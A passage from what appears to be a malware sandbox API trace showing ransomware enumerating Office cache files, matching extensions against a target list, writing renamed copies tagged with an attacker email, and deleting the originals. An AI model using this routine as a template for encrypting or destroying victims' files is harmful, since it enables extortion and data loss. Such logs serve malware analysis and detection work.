(lpString=".1cd") returned 4 [0034.667] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.667] lstrlenW (lpString=".jpg") returned 4 [0034.667] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.667] lstrlenW (lpString=".doc") returned 4 [0034.667] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString=".docx") returned 5 [0034.667] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.667] lstrlenW (lpString=".pdf") returned 4 [0034.667] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString=".xls") returned 4 [0034.667] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString=".xlsx") returned 5 [0034.667] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.667] lstrlenW (lpString=".ppt") returned 4 [0034.667] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.667] lstrlenW (lpString=".zip") returned 4 [0034.667] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.667] lstrlenW (lpString=".rar") returned 4 [0034.667] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString=".bz2") returned 4 [0034.667] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString=".7z") returned 3 [0034.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.668] lstrlenW (lpString=".dbf") returned 4 [0034.668] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.668] lstrlenW (lpString=".1cd") returned 4 [0034.668] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.668] lstrlenW (lpString=".jpg") returned 4 [0034.668] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.668] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.668] lstrlenW (lpString="Setup.xml") returned 9 [0034.668] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.668] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1852) returned 1 [0034.668] CloseHandle (hObject=0x19c) returned 1 [0034.668] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.668] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.669] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.669] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.669] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.669] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.669] GetLastError () returned 0x0 [0034.669] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x73c, lpOverlapped=0x0) returned 1 [0034.677] WriteFile (in: hFile=0x184, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x740, lpOverlapped=0x0) returned 1 [0034.678] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.678] WriteFile (in: hFile=0x184, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.678] SetEndOfFile (hFile=0x184) returned 1 [0034.678] CloseHandle (hObject=0x184) returned 1 [0034.679] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.679] SetEndOfFile (hFile=0x19c) returned 1 [0034.679] CloseHandle (hObject=0x19c) returned 1 [0034.679] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.680] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.680] lstrlenW (lpString=".doc") returned 4 [0034.680] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.680] lstrlenW (lpString=".docx") returned 5 [0034.680] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.680] lstrlenW (lpString=".pdf") returned 4 [0034.680] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.680] lstrlenW (lpString=".xls") returned 4 [0034.680] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.680] lstrlenW (lpString=".xlsx") returned 5 [0034.680] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.680] lstrlenW (lpString=".ppt") returned 4 [0034.680] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.680] lstrlenW (lpString=".zip") returned 4 [0034.680] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.680] lstrlenW (lpString=".rar") returned 4 [0034.680] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.680] lstrlenW (lpString=".bz2") returned 4 [0034.680] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.680] lstrlenW (lpString=".7z") returned 3 [0034.680] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.681] lstrlenW (lpString=".dbf") returned 4 [0034.681] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.681] lstrlenW (lpString=".1cd") returned 4 [0034.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.681] lstrlenW (lpString=".jpg") returned 4 [0034.681] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.681] lstrlenW (lpString=".doc") returned 4 [0034.681] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString=".docx") returned 5 [0034.681] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.681] lstrlenW (lpString=".pdf") returned 4 [0034.681] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString=".xls") returned 4 [0034.681] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString=".xlsx") returned 5 [0034.681] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.681] lstrlenW (lpString=".ppt") returned 4 [0034.681] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.681] lstrlenW (lpString=".zip") returned 4 [0034.681] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.681] lstrlenW (lpString=".rar") returned 4 [0034.681] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString=".bz2") returned 4 [0034.681] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.681] lstrlenW (lpString=".7z") returned 3 [0034.681] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.681] lstrlenW (lpString=".dbf") returned 4 [0034.682] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.682] lstrlenW (lpString=".1cd") returned 4 [0034.682] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.682] lstrlenW (lpString=".jpg") returned 4 [0034.682] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.682] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.682] lstrlenW (lpString="VisioMUI.xml") returned 12 [0034.682] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.685] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=9503) returned 1 [0034.685] CloseHandle (hObject=0x184) returned 1 [0034.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0034.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.685] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.685] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.686] GetLastError () returned 0x0 [0034.686] ReadFile (in: hFile=0x184, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x251f, lpOverlapped=0x0) returned 1 [0034.687] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2520, lpOverlapped=0x0) returned 1 [0034.688] ReadFile (in: hFile=0x184, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.688] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.688] SetEndOfFile (hFile=0x1a0) returned 1 [0034.689] CloseHandle (hObject=0x1a0) returned 1 [0034.689] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.689] SetEndOfFile (hFile=0x184) returned 1 [0034.690] CloseHandle (hObject=0x184) returned 1 [0034.690] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.690] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0034.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.690] lstrlenW (lpString=".doc") returned 4 [0034.690] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString=".docx") returned 5 [0034.691] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.691] lstrlenW (lpString=".pdf") returned 4 [0034.691] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString=".xls") returned 4 [0034.691] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString=".xlsx") returned 5 [0034.691] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.691] lstrlenW (lpString=".ppt") returned 4 [0034.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.691] lstrlenW (lpString=".zip") returned 4 [0034.691] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.691] lstrlenW (lpString=".rar") returned 4 [0034.691] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString=".bz2") returned 4 [0034.691] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString=".7z") returned 3 [0034.691] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.691] lstrlenW (lpString=".dbf") returned 4 [0034.691] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.691] lstrlenW (lpString=".1cd") returned 4 [0034.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.691] lstrlenW (lpString=".jpg") returned 4 [0034.691] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.691] lstrlenW (lpString=".doc") returned 4 [0034.691] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.691] lstrlenW (lpString=".docx") returned 5 [0034.691] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.692] lstrlenW (lpString=".pdf") returned 4 [0034.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.692] lstrlenW (lpString=".xls") returned 4 [0034.692] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.692] lstrlenW (lpString=".xlsx") returned 5 [0034.692] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.692] lstrlenW (lpString=".ppt") returned 4 [0034.692] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.692] lstrlenW (lpString=".zip") returned 4 [0034.692] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.692] lstrlenW (lpString=".rar") returned 4 [0034.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.692] lstrlenW (lpString=".bz2") returned 4 [0034.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.692] lstrlenW (lpString=".7z") returned 3 [0034.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.692] lstrlenW (lpString=".dbf") returned 4 [0034.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.692] lstrlenW (lpString=".1cd") returned 4 [0034.692] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.692] lstrlenW (lpString=".jpg") returned 4 [0034.692] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.692] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.692] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0034.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.693] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1606) returned 1 [0034.693] CloseHandle (hObject=0x184) returned 1 [0034.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0034.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.694] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.694] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.694] GetLastError () returned 0x0 [0034.694] ReadFile (in: hFile=0x184, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x646, lpOverlapped=0x0) returned 1 [0034.698] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x650, lpOverlapped=0x0) returned 1 [0034.699] ReadFile (in: hFile=0x184, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.699] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.699] SetEndOfFile (hFile=0x1a0) returned 1 [0034.699] CloseHandle (hObject=0x1a0) returned 1 [0034.700] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.700] SetEndOfFile (hFile=0x184) returned 1 [0034.700] CloseHandle (hObject=0x184) returned 1 [0034.701] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.701] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0034.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.701] lstrlenW (lpString=".doc") returned 4 [0034.701] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.701] lstrlenW (lpString=".docx") returned 5 [0034.701] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.701] lstrlenW (lpString=".pdf") returned 4 [0034.701] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.701] lstrlenW (lpString=".xls") returned 4 [0034.701] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.701] lstrlenW (lpString=".xlsx") returned 5 [0034.701] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.701] lstrlenW (lpString=".ppt") returned 4 [0034.701] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.701] lstrlenW (lpString=".zip") returned 4 [0034.701] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.701] lstrlenW (lpString=".rar") returned 4 [0034.701] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.701] lstrlenW (lpString=".bz2") returned 4 [0034.702] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString=".7z") returned 3 [0034.702] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.702] lstrlenW (lpString=".dbf") returned 4 [0034.702] lstrcmpiW (lpString1=".dbf", 